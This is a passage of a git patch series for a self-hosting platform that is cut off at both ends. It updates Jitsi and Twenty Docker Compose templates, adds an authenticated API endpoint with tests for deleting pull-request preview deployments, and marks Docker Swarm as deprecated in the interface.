+         d="m 172.18948,813.03639 c 6.47531,-3.53335 13.10498,-2.9926 18.75586,-2.73805 3.75103,0.16896 -7.06591,-4.20527 -19.35477,-3.52147 -1.31254,1.11755 -5.21285,7.63595 -10.70973,14.23704 -0.82526,0.99104 9.80521,-7.15715 11.30864,-7.97752 z"
+         style="fill:url(#linearGradient4274);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+      <path
+         inkscape:export-ydpi="19.25"
+         inkscape:export-xdpi="19.25"
+         inkscape:export-filename="/home/emcho/storage/images/sc_logo/sc_logo136x203.png"
+         sodipodi:nodetypes="csccscs"
+         id="path4240"
+         d="m 110.55877,827.01111 c 3.80202,-0.78266 8.57073,-2.07478 11.72698,-2.39299 2.63172,-0.26532 5.92925,-1.74739 8.46259,0.97744 -1.41052,-1.93357 -4.10815,-5.83882 -4.94871,-8.39667 0.76528,3.00553 -2.65492,3.42931 -3.50504,3.56438 -19.11709,3.02037 -30.61745,8.16849 -36.41981,17.74206 10.99033,-8.50263 23.96641,-11.34651 24.68399,-11.49422 z"
+         style="fill:url(#linearGradient5486);fill-opacity:1;fill-rule:evenodd;stroke:none;display:inline" />
+    </g>
+  </g>
+</svg>
diff --git a/templates/compose/jitsi.yaml b/templates/compose/jitsi.yaml
index 60903a4b6..db119e4a0 100644
--- a/templates/compose/jitsi.yaml
+++ b/templates/compose/jitsi.yaml
@@ -1,119 +1,136 @@
-# ignore: true
-# documentation: https://jitsi.github.io/handbook/docs/intro
-# category: productivity
-# slogan: World's easiest way to add meetings to your apps
+# documentation: https://jitsi.github.io/handbook/docs/devops-guide/devops-guide-docker/
+# slogan: Self-hosted Jitsi Meet — open-source video conferencing platform
+# tags: jitsi,video,conference,webrtc,meeting,self-hosted
 # logo: svgs/jitsi.svg
-# tags: video, conferencing, meetings, communication, open-source
+# port: 80
 
 services:
   jitsi-web:
-    image: "jitsi/web:${JITSI_IMAGE_VERSION:-unstable}"
-    container_name: jitsi-web
+    image: "jitsi/web:stable-10888"
     restart: unless-stopped
-    ports:
-      - "8001:80"
-      - "8443:443"
-    volumes:
-      - ~/.jitsi-meet-cfg/web:/config:Z
-      - ~/.jitsi-meet-cfg/web/crontabs:/var/spool/cron/crontabs:Z
-      - ~/.jitsi-meet-cfg/transcripts:/usr/share/jitsi-meet/transcripts:Z
     environment:
       - SERVICE_URL_JITSI
       - PUBLIC_URL=$SERVICE_URL_JITSI
-      - JITSI_IMAGE_VERSION=unstable
-      - JIBRI_RECORDER_PASSWORD=$SERVICE_PASSWORD_JITSI
-      - JIBRI_XMPP_PASSWORD=$SERVICE_PASSWORD_JITSI
-      - JICOFO_AUTH_PASSWORD=$SERVICE_PASSWORD_JITSI
-      - JIGASI_XMPP_PASSWORD=$SERVICE_PASSWORD_JITSI
-      - JVB_AUTH_PASSWORD=$SERVICE_PASSWORD_JITSI
-      - TZ=UTC
+      - ENABLE_AUTH=0
+      - ENABLE_GUESTS=1
+      - ENABLE_LETSENCRYPT=0
+      - ENABLE_HTTP_REDIRECT=0
+      - DISABLE_HTTPS=1
+      - XMPP_DOMAIN=meet.jitsi
+      - XMPP_AUTH_DOMAIN=auth.meet.jitsi
+      - XMPP_GUEST_DOMAIN=guest.meet.jitsi
+      - XMPP_MUC_DOMAIN=conference.meet.jitsi
+      - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi
+      - XMPP_BOSH_URL_BASE=http://prosody:5280
+      - JVB_BREWERY_MUC=jvbbrewery
+      - JICOFO_COMPONENT_SECRET=${SERVICE_PASSWORD_JICOFO}
+      - JICOFO_AUTH_PASSWORD=${SERVICE_PASSWORD_JICOFO}
+      - JVB_AUTH_PASSWORD=${SERVICE_PASSWORD_JVB}
+      - TZ=${TZ:-UTC}
+    depends_on:
+      - prosody
+      - jicofo
+      - jvb
+    volumes:
+      - jitsi-web:/config
     networks:
       meet.jitsi:
         aliases:
           - meet.jitsi
-    depends_on:
-      - jvb
     healthcheck:
       test: ["CMD", "curl", "-f", "http://localhost"]
-      interval: 2s
+      interval: 5s
       timeout: 10s
       retries: 15
 
   prosody:
-    image: "jitsi/prosody:${JITSI_IMAGE_VERSION:-unstable}"
-    expose:
-      - '5222'
-      - '5347'
-      - '5280'
-    container_name: jitsi-xmpp
+    image: "jitsi/prosody:stable-10888"
     restart: unless-stopped
-    volumes:
-      - ~/.jitsi-meet-cfg/prosody/config:/config:Z
-      - ~/.jitsi-meet-cfg/prosody/prosody-plugins-custom:/prosody-plugins-custom:Z
     environment:
-      - JICOFO_AUTH_PASSWORD
-      - JVB_AUTH_PASSWORD
+      - AUTH_TYPE=internal
+      - ENABLE_AUTH=0
+      - ENABLE_GUESTS=1
+      - XMPP_DOMAIN=meet.jitsi
+      - XMPP_AUTH_DOMAIN=auth.meet.jitsi
+      - XMPP_GUEST_DOMAIN=guest.meet.jitsi
+      - XMPP_MUC_DOMAIN=conference.meet.jitsi
+      - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi
+      - JICOFO_COMPONENT_SECRET=${SERVICE_PASSWORD_JICOFO}
+      - JICOFO_AUTH_PASSWORD=${SERVICE_PASSWORD_JICOFO}
+      - JVB_AUTH_PASSWORD=${SERVICE_PASSWORD_JVB}
       - PUBLIC_URL=$SERVICE_URL_JITSI
-      - TZ
+      - TZ=${TZ:-UTC}
+      - LOG_LEVEL=${LOG_LEVEL:-info}
+    volumes:
+      - jitsi-prosody:/config
     networks:
       meet.jitsi:
         aliases:
           - xmpp.meet.jitsi
+          - auth.meet.jitsi
+          - guest.meet.jitsi
     healthcheck:
       test: ["CMD", "curl", "-f", "http://localhost:5280/http-bind"]
-      interval: 2s
+      interval: 5s
       timeout: 10s
       retries: 15
 
   jicofo:
-    image: "jitsi/jicofo:${JITSI_IMAGE_VERSION:-unstable}"
-    container_name: jitsi-jicofo
+    image: "jitsi/jicofo:stable-10888"
     restart: unless-stopped
-    volumes:
-      - ~/.jitsi-meet-cfg/jicofo:/config:Z
     environment:
+      - AUTH_TYPE=internal
+      - ENABLE_AUTH=0
+      - XMPP_DOMAIN=meet.jitsi
+      - XMPP_AUTH_DOMAIN=auth.meet.jitsi
+      - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi
+      - XMPP_MUC_DOMAIN=conference.meet.jitsi
       - XMPP_SERVER=prosody
-      - JICOFO_AUTH_PASSWORD
-      - TZ
+      - JICOFO_COMPONENT_SECRET=${SERVICE_PASSWORD_JICOFO}
+      - JICOFO_AUTH_PASSWORD=${SERVICE_PASSWORD_JICOFO}
+      - JVB_BREWERY_MUC=jvbbrewery
       - JICOFO_ENABLE_HEALTH_CHECKS=1
+      - TZ=${TZ:-UTC}
     depends_on:
       - prosody
+    volumes:
+      - jitsi-jicofo:/config
     networks:
       meet.jitsi:
     healthcheck:
       test: ["CMD", "curl", "-f", "http://localhost:8888/about/health"]
-      interval: 2s
+      interval: 5s
       timeout: 10s
       retries: 15
 
   jvb:
-    image: "jitsi/jvb:${JITSI_IMAGE_VERSION:-unstable}"
-    container_name: jitsi-jvb
+    image: "jitsi/jvb:stable-10888"
     restart: unless-stopped
-    expose:
-      - '10000:10000/udp'
-      - '8080:8080'
-      - '10000'
-    volumes:
-      - ~/.jitsi-meet-cfg/jvb:/config:Z
+    ports:
+      - "10000:10000/udp"
     environment:
-      - JVB_ADVERTISE_IPS
-      - JVB_AUTH_PASSWORD
-      - PUBLIC_URL=$SERVICE_URL_JITSI
-      - TZ
       - XMPP_SERVER=prosody
+      - XMPP_DOMAIN=meet.jitsi
+      - XMPP_AUTH_DOMAIN=auth.meet.jitsi
+      - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi
+      - XMPP_MUC_DOMAIN=conference.meet.jitsi
+      - JVB_AUTH_USER=jvb
+      - JVB_AUTH_PASSWORD=${SERVICE_PASSWORD_JVB}
+      - JVB_BREWERY_MUC=jvbbrewery
+      - JVB_PORT=10000
+      - JVB_ADVERTISE_IPS=${JVB_ADVERTISE_IPS:-} #Optional: set your public IP only if STUN auto-detection fails or the server is behind NAT / multiple interfaces
+      - JVB_STUN_SERVERS=${JVB_STUN_SERVERS:-stun.l.google.com:19302}
+      - PUBLIC_URL=$SERVICE_URL_JITSI
+      - TZ=${TZ:-UTC}
     depends_on:
       - prosody
+    volumes:
+      - jitsi-jvb:/config
     networks:
       meet.jitsi:
-    labels:
-      - "traefik.enable=true"
-      - "traefik.udp.routers.my-udp-router.entrypoints=video"
-      - "traefik.udp.routers.my-udp-router.service=my-udp-service"
-      - "traefik.udp.services.my-udp-service.loadbalancer.server.port=10000"
     healthcheck:
       test: ["CMD", "curl", "-f", "http://localhost:8080/about/health"]
-      interval: 2s
+      interval: 5s
       timeout: 10s
       retries: 15
 
@@ -122,6 +139,7 @@ networks:
 
 volumes:
   jitsi-web:
-  jitsi-xmpp:
+  jitsi-prosody:
   jitsi-jicofo:
   jitsi-jvb:
+  
\ No newline at end of file

From e18ac5a7e810f0e41b8b1483fe6b78e776da663a Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Thu, 16 Apr 2026 23:18:19 +0530
Subject: [PATCH 048/102] fix(service): twenty fails to deploy due to
 dependency unhealthy

---
 templates/compose/twenty.yaml | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/templates/compose/twenty.yaml b/templates/compose/twenty.yaml
index 72871fcc2..d3e26145d 100644
--- a/templates/compose/twenty.yaml
+++ b/templates/compose/twenty.yaml
@@ -53,7 +53,7 @@ services:
       interval: 2s
       timeout: 5s
       retries: 10
-      start_period: 10s
+      start_period: 30s
     depends_on:
       postgres:
         condition: service_healthy
@@ -102,7 +102,15 @@ services:
     depends_on:
       twenty:
         condition: service_healthy
-
+    healthcheck:
+      test:
+        - CMD-SHELL
+        - "ps aux | grep 'dist/queue-worker/queue-worker' | grep -v grep || exit 1"
+      interval: 30s
+      timeout: 5s
+      retries: 3
+      start_period: 30s
+      
   postgres:
     image: postgres:16-alpine
     environment:

From bceb5f28dce3e7060458ef97490e16b7796ac743 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Fri, 17 Apr 2026 13:29:11 +0200
Subject: [PATCH 049/102] feat(applications): add DELETE endpoint for preview
 deployments by PR id

Add `DELETE /api/v1/applications/{uuid}/previews/{pull_request_id}` to
cancel active deployments, stop containers, and delete the preview
record via `CleanupPreviewDeployment`. Includes OpenAPI annotations,
input validation, and full feature test coverage.
---
 .../Api/ApplicationsController.php            |  73 +++++++++-
 openapi.json                                  |  64 +++++++++
 openapi.yaml                                  |  42 ++++++
 routes/api.php                                |   4 +-
 tests/Feature/ApplicationPreviewApiTest.php   | 132 ++++++++++++++++++
 5 files changed, 313 insertions(+), 2 deletions(-)
 create mode 100644 tests/Feature/ApplicationPreviewApiTest.php

diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index 3d92300f1..cc7c0dbbe 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -2,6 +2,7 @@
 
 namespace App\Http\Controllers\Api;
 
+use App\Actions\Application\CleanupPreviewDeployment;
 use App\Actions\Application\LoadComposeFile;
 use App\Actions\Application\StopApplication;
 use App\Actions\Service\StartService;
@@ -9,6 +10,7 @@
 use App\Http\Controllers\Controller;
 use App\Jobs\DeleteResourceJob;
 use App\Models\Application;
+use App\Models\ApplicationPreview;
 use App\Models\EnvironmentVariable;
 use App\Models\GithubApp;
 use App\Models\LocalFileVolume;
@@ -1058,7 +1060,7 @@ private function create_application(Request $request, $type)
         $connectToDockerNetwork = $request->connect_to_docker_network;
         $customNginxConfiguration = $request->custom_nginx_configuration;
         $isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled', true);
-        $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled',false);
+        $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled', false);
 
         if (! is_null($customNginxConfiguration)) {
             if (! isBase64Encoded($customNginxConfiguration)) {
@@ -4474,4 +4476,73 @@ public function delete_storage(Request $request): JsonResponse
 
         return response()->json(['message' => 'Storage deleted.']);
     }
+
+    #[OA\Delete(
+        summary: 'Delete Preview Deployment',
+        description: 'Delete a preview deployment for a pull request. Cancels active deployments, stops containers, removes volumes/networks, and deletes the preview record.',
+        path: '/applications/{uuid}/previews/{pull_request_id}',
+        operationId: 'delete-preview-deployment-by-pull-request-id',
+        security: [
+            ['bearerAuth' => []],
+        ],
+        tags: ['Applications'],
+        parameters: [
+            new OA\Parameter(
+                name: 'uuid',
+                in: 'path',
+                description: 'UUID of the application.',
+                required: true,
+                schema: new OA\Schema(type: 'string')
+            ),
+            new OA\Parameter(
+                name: 'pull_request_id',
+                in: 'path',
+                description: 'Pull request ID of the preview to delete.',
+                required: true,
+                schema: new OA\Schema(type: 'integer')
+            ),
+        ],
+        responses: [
+            new OA\Response(response: 200, description: 'Preview deletion queued.', content: new OA\JsonContent(
+                properties: [new OA\Property(property: 'message', type: 'string')],
+            )),
+            new OA\Response(response: 401, ref: '#/components/responses/401'),
+            new OA\Response(response: 400, ref: '#/components/responses/400'),
+            new OA\Response(response: 404, ref: '#/components/responses/404'),
+            new OA\Response(response: 422, ref: '#/components/responses/422'),
+        ]
+    )]
+    public function delete_preview_by_pull_request_id(Request $request): JsonResponse
+    {
+        $teamId = getTeamIdFromToken();
+        if (is_null($teamId)) {
+            return invalidTokenResponse();
+        }
+
+        $application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
+        if (! $application) {
+            return response()->json(['message' => 'Application not found.'], 404);
+        }
+
+        $this->authorize('delete', $application);
+
+        $pullRequestIdRaw = $request->route('pull_request_id');
+        if (! is_numeric($pullRequestIdRaw) || (int) $pullRequestIdRaw <= 0) {
+            return response()->json(['message' => 'Invalid pull_request_id.'], 422);
+        }
+        $pullRequestId = (int) $pullRequestIdRaw;
+
+        $preview = ApplicationPreview::where('application_id', $application->id)
+            ->where('pull_request_id', $pullRequestId)
+            ->first();
+
+        if (! $preview) {
+            return response()->json(['message' => 'Preview not found.'], 404);
+        }
+
+        $preview->delete();
+        CleanupPreviewDeployment::run($application, $pullRequestId, $preview);
+
+        return response()->json(['message' => 'Preview deletion request queued.']);
+    }
 }
diff --git a/openapi.json b/openapi.json
index e4e03c99d..d83b30d80 100644
--- a/openapi.json
+++ b/openapi.json
@@ -3788,6 +3788,70 @@
                 ]
             }
         },
+        "\/applications\/{uuid}\/previews\/{pull_request_id}": {
+            "delete": {
+                "tags": [
+                    "Applications"
+                ],
+                "summary": "Delete Preview Deployment",
+                "description": "Delete a preview deployment for a pull request. Cancels active deployments, stops containers, removes volumes\/networks, and deletes the preview record.",
+                "operationId": "delete-preview-deployment-by-pull-request-id",
+                "parameters": [
+                    {
+                        "name": "uuid",
+                        "in": "path",
+                        "description": "UUID of the application.",
+                        "required": true,
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    {
+                        "name": "pull_request_id",
+                        "in": "path",
+                        "description": "Pull request ID of the preview to delete.",
+                        "required": true,
+                        "schema": {
+                            "type": "integer"
+                        }
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Preview deletion queued.",
+                        "content": {
+                            "application\/json": {
+                                "schema": {
+                                    "properties": {
+                                        "message": {
+                                            "type": "string"
+                                        }
+                                    },
+                                    "type": "object"
+                                }
+                            }
+                        }
+                    },
+                    "401": {
+                        "$ref": "#\/components\/responses\/401"
+                    },
+                    "400": {
+                        "$ref": "#\/components\/responses\/400"
+                    },
+                    "404": {
+                        "$ref": "#\/components\/responses\/404"
+                    },
+                    "422": {
+                        "$ref": "#\/components\/responses\/422"
+                    }
+                },
+                "security": [
+                    {
+                        "bearerAuth": []
+                    }
+                ]
+            }
+        },
         "\/cloud-tokens": {
             "get": {
                 "tags": [
diff --git a/openapi.yaml b/openapi.yaml
index f2761de59..aab408098 100644
--- a/openapi.yaml
+++ b/openapi.yaml
@@ -2398,6 +2398,48 @@ paths:
       security:
         -
           bearerAuth: []
+  '/applications/{uuid}/previews/{pull_request_id}':
+    delete:
+      tags:
+        - Applications
+      summary: 'Delete Preview Deployment'
+      description: 'Delete a preview deployment for a pull request. Cancels active deployments, stops containers, removes volumes/networks, and deletes the preview record.'
+      operationId: delete-preview-deployment-by-pull-request-id
+      parameters:
+        -
+          name: uuid
+          in: path
+          description: 'UUID of the application.'
+          required: true
+          schema:
+            type: string
+        -
+          name: pull_request_id
+          in: path
+          description: 'Pull request ID of the preview to delete.'
+          required: true
+          schema:
+            type: integer
+      responses:
+        '200':
+          description: 'Preview deletion queued.'
+          content:
+            application/json:
+              schema:
+                properties:
+                  message: { type: string }
+                type: object
+        '401':
+          $ref: '#/components/responses/401'
+        '400':
+          $ref: '#/components/responses/400'
+        '404':
+          $ref: '#/components/responses/404'
+        '422':
+          $ref: '#/components/responses/422'
+      security:
+        -
+          bearerAuth: []
   /cloud-tokens:
     get:
       tags:
diff --git a/routes/api.php b/routes/api.php
index 0d3edcced..6d48fbe74 100644
--- a/routes/api.php
+++ b/routes/api.php
@@ -129,6 +129,8 @@
     Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']);
     Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']);
 
+    Route::delete('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'delete_preview_by_pull_request_id'])->middleware(['api.ability:write']);
+
     Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']);
     Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']);
     Route::patch('/github-apps/{github_app_id}', [GithubController::class, 'update_github_app'])->middleware(['api.ability:write']);
@@ -218,7 +220,7 @@
         try {
             $decrypted = decrypt($naked_token);
             $decrypted_token = json_decode($decrypted, true);
-        } catch (\Exception $e) {
+        } catch (Exception $e) {
             return response()->json(['message' => 'Invalid token'], 401);
         }
         $server_uuid = data_get($decrypted_token, 'server_uuid');
diff --git a/tests/Feature/ApplicationPreviewApiTest.php b/tests/Feature/ApplicationPreviewApiTest.php
new file mode 100644
index 000000000..bc405d48b
--- /dev/null
+++ b/tests/Feature/ApplicationPreviewApiTest.php
@@ -0,0 +1,132 @@
+<?php
+
+use App\Actions\Application\CleanupPreviewDeployment;
+use App\Models\Application;
+use App\Models\ApplicationPreview;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Bus;
+use Illuminate\Support\Str;
+use Visus\Cuid2\Cuid2;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    Bus::fake();
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    $this->bearerToken = createTeamApiToken($this->user, $this->team, ['*']);
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+    $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+
+    $this->application = Application::factory()->create([
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    CleanupPreviewDeployment::shouldRun()->andReturn([
+        'cancelled_deployments' => 0,
+        'killed_containers' => 0,
+        'status' => 'success',
+    ]);
+});
+
+function previewAuthHeaders(string $bearerToken): array
+{
+    return [
+        'Authorization' => 'Bearer '.$bearerToken,
+        'Content-Type' => 'application/json',
+    ];
+}
+
+function createTeamApiToken(User $user, Team $team, array $abilities): string
+{
+    $plainTextToken = Str::random(40);
+    $token = $user->tokens()->create([
+        'name' => 'test-token-'.Str::random(6),
+        'token' => hash('sha256', $plainTextToken),
+        'abilities' => $abilities,
+        'team_id' => $team->id,
+    ]);
+
+    return $token->getKey().'|'.$plainTextToken;
+}
+
+function createPreview(Application $application, int $pullRequestId): ApplicationPreview
+{
+    return ApplicationPreview::create([
+        'uuid' => (string) new Cuid2,
+        'application_id' => $application->id,
+        'pull_request_id' => $pullRequestId,
+        'pull_request_html_url' => "https://github.com/example/repo/pull/{$pullRequestId}",
+        'fqdn' => "pr-{$pullRequestId}.example.com",
+    ]);
+}
+
+describe('DELETE /api/v1/applications/{uuid}/previews/{pull_request_id}', function () {
+    test('returns 401 when no bearer token provided', function () {
+        $response = $this->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
+
+        $response->assertUnauthorized();
+    });
+
+    test('returns 404 when application uuid does not exist', function () {
+        $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+            ->deleteJson('/api/v1/applications/nonexistent-uuid/previews/42');
+
+        $response->assertNotFound()
+            ->assertJson(['message' => 'Application not found.']);
+    });
+
+    test('returns 404 when preview does not exist for the application', function () {
+        $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+            ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/9999");
+
+        $response->assertNotFound()
+            ->assertJson(['message' => 'Preview not found.']);
+    });
+
+    test('returns 422 when pull_request_id is not a positive integer', function () {
+        $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+            ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/0");
+
+        $response->assertStatus(422)
+            ->assertJson(['message' => 'Invalid pull_request_id.']);
+    });
+
+    test('soft-deletes the preview and returns 200 on success', function () {
+        $preview = createPreview($this->application, 42);
+
+        $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+            ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
+
+        $response->assertOk()
+            ->assertJson(['message' => 'Preview deletion request queued.']);
+
+        expect($preview->fresh()->trashed())->toBeTrue();
+    });
+
+    test('returns 403 when token lacks write ability', function () {
+        $readOnlyToken = createTeamApiToken($this->user, $this->team, ['read']);
+        createPreview($this->application, 7);
+
+        $response = $this->withHeaders(previewAuthHeaders($readOnlyToken))
+            ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/7");
+
+        $response->assertForbidden();
+    });
+});

From 340cd70ae5e8651fa35f832b5eaecc78f4abb016 Mon Sep 17 00:00:00 2001
From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com>
Date: Fri, 17 Apr 2026 23:29:47 +0200
Subject: [PATCH 050/102] chore(ui): add a deprecated notice component

---
 resources/views/components/deprecated-badge.blade.php | 6 ++++++
 1 file changed, 6 insertions(+)
 create mode 100644 resources/views/components/deprecated-badge.blade.php

diff --git a/resources/views/components/deprecated-badge.blade.php b/resources/views/components/deprecated-badge.blade.php
new file mode 100644
index 000000000..9a797048d
--- /dev/null
+++ b/resources/views/components/deprecated-badge.blade.php
@@ -0,0 +1,6 @@
+<span {{ $attributes->merge(['class' => 'inline-flex items-center']) }}>
+    <span
+        class="px-2 py-0.5 text-xs font-medium leading-normal rounded-full bg-warning/15 text-warning border border-warning/30">
+        Deprecated
+    </span>
+</span>

From 15cb9446ff7c2ec75814f6ed7fbebe3e57262b20 Mon Sep 17 00:00:00 2001
From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com>
Date: Fri, 17 Apr 2026 23:28:54 +0200
Subject: [PATCH 051/102] chore(swarm): mark docker swarm as deprecated

---
 config/deprecations.php                                     | 5 +++++
 resources/views/components/server/sidebar.blade.php         | 2 +-
 resources/views/livewire/destination/index.blade.php        | 5 ++++-
 resources/views/livewire/destination/show.blade.php         | 4 +++-
 .../livewire/project/application/configuration.blade.php    | 3 ++-
 .../views/livewire/project/application/swarm.blade.php      | 4 ++++
 resources/views/livewire/project/new/select.blade.php       | 1 +
 resources/views/livewire/server/swarm.blade.php             | 6 +++++-
 8 files changed, 25 insertions(+), 5 deletions(-)
 create mode 100644 config/deprecations.php

diff --git a/config/deprecations.php b/config/deprecations.php
new file mode 100644
index 000000000..551b562fa
--- /dev/null
+++ b/config/deprecations.php
@@ -0,0 +1,5 @@
+<?php
+
+return [
+    'swarm' => 'Docker Swarm is deprecated and will be removed in Coolify v5. Coolify v5 will be replacing Swarm with native Docker Compose replicas and our own scaling solution. Existing Swarm deployments will continue to work on v4 as-is. We do not recommend setting up new Swarm deployments for the time being.',
+];
diff --git a/resources/views/components/server/sidebar.blade.php b/resources/views/components/server/sidebar.blade.php
index 2d7649fab..6c62701b8 100644
--- a/resources/views/components/server/sidebar.blade.php
+++ b/resources/views/components/server/sidebar.blade.php
@@ -41,7 +41,7 @@
     @endif
     @if (!$server->isBuildServer() && !$server->settings->is_cloudflare_tunnel)
         <a class="sub-menu-item {{ $activeMenu === 'swarm' ? 'menu-item-active' : '' }}" {{ wireNavigate() }}
-            href="{{ route('server.swarm', ['server_uuid' => $server->uuid]) }}"><span class="menu-item-label">Swarm (experimental)</span>
+            href="{{ route('server.swarm', ['server_uuid' => $server->uuid]) }}"><span class="menu-item-label">Swarm</span>
         </a>
     @endif
     @if (!$server->isLocalhost())
diff --git a/resources/views/livewire/destination/index.blade.php b/resources/views/livewire/destination/index.blade.php
index 003f1c5b5..aecd58d7a 100644
--- a/resources/views/livewire/destination/index.blade.php
+++ b/resources/views/livewire/destination/index.blade.php
@@ -29,7 +29,10 @@
                     <a class="coolbox group" {{ wireNavigate() }}
                         href="{{ route('destination.show', ['destination_uuid' => data_get($destination, 'uuid')]) }}">
                         <div class="flex flex-col mx-6">
-                            <div class="box-title">{{ $destination->name }}</div>
+                            <div class="box-title">
+                                {{ $destination->name }}
+                                <x-deprecated-badge />
+                            </div>
                             <div class="box-description">server: {{ $destination->server->name }}</div>
                         </div>
                     </a>
diff --git a/resources/views/livewire/destination/show.blade.php b/resources/views/livewire/destination/show.blade.php
index f12388770..27260e920 100644
--- a/resources/views/livewire/destination/show.blade.php
+++ b/resources/views/livewire/destination/show.blade.php
@@ -16,7 +16,9 @@
         @if ($destination->getMorphClass() === 'App\Models\StandaloneDocker')
             <div class="subtitle ">A simple Docker network.</div>
         @else
-            <div class="subtitle ">A swarm Docker network. WIP</div>
+            <div class="subtitle flex items-center gap-2">A swarm Docker network.
+                <x-deprecated-badge />
+            </div>
         @endif
         <div class="flex gap-2">
             <x-forms.input canGate="update" :canResource="$destination" id="name" label="Name" />
diff --git a/resources/views/livewire/project/application/configuration.blade.php b/resources/views/livewire/project/application/configuration.blade.php
index 02927b0b4..848c46ff7 100644
--- a/resources/views/livewire/project/application/configuration.blade.php
+++ b/resources/views/livewire/project/application/configuration.blade.php
@@ -14,7 +14,8 @@
                 href="{{ route('project.application.advanced', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}"><span class="menu-item-label">Advanced</span></a>
             @if ($application->destination->server->isSwarm())
                 <a class="sub-menu-item" {{ wireNavigate() }} wire:current.exact="menu-item-active"
-                    href="{{ route('project.application.swarm', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}"><span class="menu-item-label">Swarm Configuration</span></a>
+                    href="{{ route('project.application.swarm', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}"><span class="menu-item-label">Swarm</span>
+                </a>
             @endif
             <a class='sub-menu-item' {{ wireNavigate() }} wire:current.exact="menu-item-active"
                 href="{{ route('project.application.environment-variables', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]) }}"><span class="menu-item-label">Environment Variables</span></a>
diff --git a/resources/views/livewire/project/application/swarm.blade.php b/resources/views/livewire/project/application/swarm.blade.php
index a7da02627..657e029f7 100644
--- a/resources/views/livewire/project/application/swarm.blade.php
+++ b/resources/views/livewire/project/application/swarm.blade.php
@@ -2,6 +2,7 @@
     <form wire:submit='submit' class="flex flex-col">
         <div class="flex items-center gap-2">
             <h2>Swarm Configuration</h2>
+            <x-deprecated-badge />
             @can('update', $application)
                 <x-forms.button type="submit">
                     Save
@@ -13,6 +14,9 @@
                 </x-forms.button>
             @endcan
         </div>
+        <x-callout type="warning" title="Deprecated" class="my-4">
+            {{ config('deprecations.swarm') }}
+        </x-callout>
         <div class="flex flex-col gap-2 py-4">
             <div class="flex flex-col items-end gap-2 xl:flex-row">
                 <x-forms.input id="swarmReplicas" label="Replicas" required canGate="update" :canResource="$application" />
diff --git a/resources/views/livewire/project/new/select.blade.php b/resources/views/livewire/project/new/select.blade.php
index 04c09ede1..c5482d9f7 100644
--- a/resources/views/livewire/project/new/select.blade.php
+++ b/resources/views/livewire/project/new/select.blade.php
@@ -452,6 +452,7 @@ function searchResources() {
                         <div class="flex flex-col mx-6">
                             <div class="font-bold dark:group-hover:text-white">
                                 Swarm Docker <span class="text-xs">({{ $swarmDocker->name }})</span>
+                                <x-deprecated-badge />
                             </div>
                         </div>
                     </div>
diff --git a/resources/views/livewire/server/swarm.blade.php b/resources/views/livewire/server/swarm.blade.php
index 1d18e2d31..9ce28bbd6 100644
--- a/resources/views/livewire/server/swarm.blade.php
+++ b/resources/views/livewire/server/swarm.blade.php
@@ -8,8 +8,12 @@
         <div class="w-full">
             <div>
                 <div class="flex items-center gap-2">
-                    <h2>Swarm <span class="text-xs text-neutral-500">(experimental)</span></h2>
+                    <h2>Swarm</h2>
